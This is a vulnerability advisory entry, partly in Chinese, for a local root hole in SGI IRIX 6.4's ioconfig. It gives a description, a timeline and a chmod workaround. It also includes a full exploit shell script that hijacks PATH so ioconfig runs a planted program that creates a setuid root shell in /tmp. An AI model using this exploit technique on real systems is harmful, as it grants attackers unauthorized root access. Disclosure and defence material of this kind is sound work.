-
漏洞信息

漏洞名称:IRIX ioconfig漏洞

紧急程度:高危

漏洞类型:其他

发布日期:1998-07-01 00:00:00

更新日期:2006-11-16 00:00:00

攻击路径:本地

详细介绍:

Origin/Onyx2中SGI IRIX 6.4 S2M的ioconfig存在漏洞，本地用户利用该漏洞使用相对路径名获取根访问的权限。

-
公告与补丁

SGI recommends restricting access to this program. As it will typically only be used by a sytem administrator, they recommend removing the setuid bit from its permissions. # /bin/chmod 500 /sbin/ioconfig

-
漏洞信息 (19163)

source: http://www.securityfocus.com/bid/213/info
A vulnerability exists in the ioconfig program, as shipping with IRIX 6.4 S2MP from Silicon Graphics, Inc. This program is only available on Irix 6.4 for the Origin/Onyx2. Other machines running IRIX are not vulnerable.
This vulnerability will allow a local user to obtain root priveledges. The ioconfig program will make calls to the system() call without setting the path to be used; this allows an attacker to alter their path to cause ioconfig to execute arbitrary programs.
#!/bin/sh
#
# Irix 6.4 ioconfig xploit - Loneguard 04/12/97
#
# Simple xploit making use of stupid system calls to programs without using
# a path. This works on both /sbin/ioconfig and /sbin/disk_bandwidth.
#
cat > /tmp/dvhtool << 'EOF'
#!/bin/sh
/sbin/cp /bin/csh /tmp/xsh
/sbin/chmod 14755 /tmp/xsh
EOF
/sbin/chmod 700 /tmp/dvhtool
PATH=/tmp:$PATH
/sbin/ioconfig -f /hw

-
漏洞信息

-
漏洞描述

IRIX contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when a malicious user tricks ioconfig, which does not use absolute paths in its system calls, into running arbitrary programs. This flaw may lead to a loss of integrity.

-
时间线

公开日期:
1998-07-20

发现日期:
Unknow

利用日期:1997-04-12

解决日期:Unknow

-
解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround: remove permissions on the vulnerable ioconfig program.
#/bin/chmod 500 /sbin/ioconfig